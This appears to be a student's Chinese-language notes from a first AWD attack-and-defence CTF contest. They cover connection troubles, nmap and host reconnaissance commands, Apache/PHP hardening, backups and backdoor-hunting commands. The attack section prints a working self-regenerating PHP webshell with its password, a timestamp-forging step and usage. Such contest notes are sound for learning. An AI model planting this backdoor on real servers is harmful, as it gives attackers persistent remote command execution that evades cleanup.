总结:
由于是第一次参加AWD比赛,各方面经验都不足,在参赛的前几天也是疯狂搜集各种脚本、框架、工具等,同时也参考b站的视频进行学习,我发现就是还是实操才能更快的学习
我觉得就是我前期的准备工作不足,也可能是我当时比赛网太卡了,kali一直没有ssh连接上,换了moba连结果半天回应一个连接超时,现下的xshell结果还死活尝试连接不上去,当时就有点慌了,因为比赛已经开始很久了我还没ssh连接上,我就一直找是不是复制错了,百度了一下说是可能因为我的windows没有开ssh和sshd连接,后面就一直尝试解决问题,到后面心态就有点崩溃了,下来问其他人他们都是直接连就能用,我也不知道到底是什么问题,目前还正在解决问题中。
因为一直没有ssh连接上,所以接下来的时间都浪费在解决为什么连不上这个问题上了,其他常见的资料很多网上和师兄发的都有,这里就写一些新学到的东西,方便下次打awd比赛的时候看,以免出现同样愚蠢的错误。
笔记:
1.信息确认
(这里借用大佬鹿鸣天涯的介绍)
标记1:比赛名称
标记2:白名单一般用于防止外部恶意攻击,如果赛方发现名单以外IP 可能会进行封禁处理。
标记3:用户服务器登录,账号为team1 密码为fe85d7dec6e3757f391e013efdd67c0c,端口为2222,一般服务器为Linux系统,登录工具可以使用xSHELL,finalSHELL等。
标记4:Token主要用于脚本身份凭证用于自动化提交鉴别。虚拟IP为靶机访问网址。其他选手地址为192-168-x-250.pvp923.bugku.cn,x可以是1-255内任一个数字。
标记5:主要用于扫描其他选手靶机用来攻击获取到根目录FLAG并提交得分,靶机环境和自己的靶机一致。
标记6:FLAG提交处。
标记7:用于脚本提交的api接口。
标记8:大屏观赛区
2.登录靶机
3.信息收集
主机探测:一般用nmap
查看本机ip:用ipconfig
扫描c段存活:如namp -sn 192.168.0.0/24;
nmap -sV 192.168.0.2 #扫描主机系统版本
nmap -sS 192.168.0.2#扫描主机常用端口;
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口
明确Linux机器信息
uname -a //系统信息
ps -aux //查询进程信息
ps -ef | grep 进程名称 //筛选指定进程
id //用于显示用户ID,以及所属群组ID
cat /etc/passwd //查看用户情况
ls /home/ //查看用户情况
find / -type d -perm -002 //可写目录检查
ifconfig //Linux上查看网卡信息
明确Windows机器信息
whoami /all //Windows上查看用户详细信息
ipconfig /all //Windows上查看网卡信息
找本地Flag
grep -r "flag" /var/www/html/ //Linux:在Web目录下查找flag
findstr /s /i "flag" *.* //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串
4.安全加固
压缩源码
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html
备份源码:
mv web.tar /tmp
mv web.zip /home/xxx
利用 .htaccess
配置文件禁止php文件执行
<Directory "/var/www/html/upload"> //指定目录后续的指令将应用于该目录
Options -ExecCGI -Indexes //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。
AllowOverride None //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
//这两个指令移除指定文件扩展名的处理器和类型。
//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
deny from all
</FilesMatch> //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有
</Directory>
关闭PHP伪协议
allow_url_fopen = Off
allow_url_include = Off
备份指定数据库:
mysqldump –u username –p password databasename > target.sql
5.自由攻击
进阶不死马:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';
while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 09:10:12" shell.php'); //修改时间,防止被删
usleep(5000);
}
?>
//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');
后门查杀
通过命令查看可疑文件:
find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件 find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件 grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件 find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more